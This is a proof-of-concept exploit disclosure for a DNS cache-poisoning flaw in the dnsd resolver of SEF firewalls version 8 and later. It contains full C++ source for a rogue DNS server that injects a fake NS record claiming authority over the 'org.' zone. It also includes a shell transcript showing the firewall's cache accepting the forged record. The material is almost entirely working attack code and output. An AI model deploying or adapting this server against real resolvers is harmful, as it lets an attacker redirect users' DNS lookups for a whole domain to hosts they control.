PoC poisoning cache attack SEF 8 and later

#########################################################
# Begin poc.cpp
#########################################################

// PoC poisoning cache attack SEF 8 and later (by fryxar)
// Requires poslib 1.0.4 library
// Compile: g++ `poslib-config --libs --cflags --server` poc.cpp -o poc

#define POS_DEFAULTLOG
#define POS_DEFAULTLOG_STDERR
#define POS_DEFAULTLOG_SYSLOG

// Server include file
#include <poslib/server/server.h>

// For signal handling
#include <stdlib.h>
#include <signal.h>

char *dyndomain;

DnsMessage *my_handle_query(pending_query *query);

void cleanup(int sig) {
// close down the server system
pos_setquitflag();
}

int main(int argc, char **argv) {
_addr a;

try {
  /* get command-line arguments */
  if (argc != 2 ) {
    printf( "Usage: %s [domainname]/n", argv[0] );
    return 1;
  } else {
    dyndomain = argv[1];
    txt_to_addr(&a, "any");
  }

  poslib_config_init();

  /* bring up posadis */
  servers.push_front(ServerSocket(ss_udp, udpcreateserver(&a)));

  // use the posadis logging system
  pos_log(context_none, log_info, "Proof of concept DNS server starting
up...");

  // set signal handlers
  signal(SIGINT, cleanup);
  signal(SIGTERM, cleanup);

  // set query function
  handle_query = my_handle_query;

  // run server
  posserver_run();
} catch (PException p) {
  printf("Fatal exception: %s/n", p.message);
  return 1;
}

return 0;
}

/* the entry function which will handle all queries */
DnsMessage *my_handle_query(pending_query *query) {
DnsMessage *a = new DnsMessage();
DnsQuestion q;
DnsRR rr;

/* set a as an answer to the query */
a->ID = query->message->ID;
a->RD = query->message->RD;
a->RA = false;

if (query->message->questions.begin() ==
query->message->questions.end()) {
  /* query did not contain question */
  a->RCODE = RCODE_QUERYERR;
  return a;
}
q = *query->message->questions.begin();
a->questions.push_back(q);
a->QR = true;

pos_log(context_server, log_info, "Query: [%s,%s]", q.QNAME.tocstr(),
str_qtype(q.QTYPE).c_str());

if (q.QTYPE == DNS_TYPE_A && q.QNAME == dyndomain) {
  rr = DnsRR(dyndomain, DNS_TYPE_A, CLASS_IN, 3600);
  string data = rr_fromstring(DNS_TYPE_A, "200.200.200.200"); //
Anything...
  rr.RDLENGTH = data.size();
  rr.RDATA = (char *)memdup(data.c_str(), data.size());
  a->answers.push_back(rr);

  rr = DnsRR("org", DNS_TYPE_NS, CLASS_IN, 3600);
  data = rr_fromstring(DNS_TYPE_NS, "fakedns.com");
  rr.RDLENGTH = data.size();
  rr.RDATA = (char *)memdup(data.c_str(), data.size());
  a->authority.push_back(rr);

  rr = DnsRR("fakedns.com", DNS_TYPE_A, CLASS_IN, 3600);
  data = rr_fromstring(DNS_TYPE_A, "200.200.200.201"); // Anything...
  rr.RDLENGTH = data.size();
  rr.RDATA = (char *)memdup(data.c_str(), data.size());
  a->additional.push_back(rr);
} else {
  /* we don't want this */
  a->RCODE = RCODE_SRVFAIL;
}
return a;
}
#########################################################
# End poc.cpp
#########################################################


fryxar.afraid.org # ./poc fryxar.afraid.org

    and now, in your SEF Firewall:

firewall # kill `ps -ef | awk '/[d]nsd/ { print $2 }'` # Cleaning the
cache

firewall # nslookup afraid.org 127.0.0.1  # Caching org. NS
Server:  localhost
Address:  127.0.0.1

Non-authoritative answer:
Name:    afraid.org
Addresses:  69.42.89.56, 69.42.89.53, 69.42.89.55, 69.42.89.54

firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump

firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached
"org." NS
org.
  172775      NS TLD2.ULTRADNS.NET.
  172775      NS TLD1.ULTRADNS.NET.
2.110.45.209.in-addr.jjc.com.pe.

firewall # nslookup fryxar.afraid.org 127.0.0.1 # Domain owned by my
poisoned DNS
Server:  localhost
Address:  127.0.0.1

Non-authoritative answer:
Name:    fryxar.afraid.org
Address:  200.200.200.200

firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump

firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached
"org." NS
org.
    3567      NS fakedns.com.           <- Ooohh!
    3567      NS TLD2.ULTRADNS.NET.
    3567      NS TLD1.ULTRADNS.NET.
2.110.45.209.in-addr.jjc.com.pe.

    And now SEF "thinks" that fakedns.com server is an authoritative
nameserver of "org." domain, learned by fryxar.afraid.org DNS server
that is only authoritative for the fryxar.afraid.org domain.
--
fryxar <fryxar@datafull.com>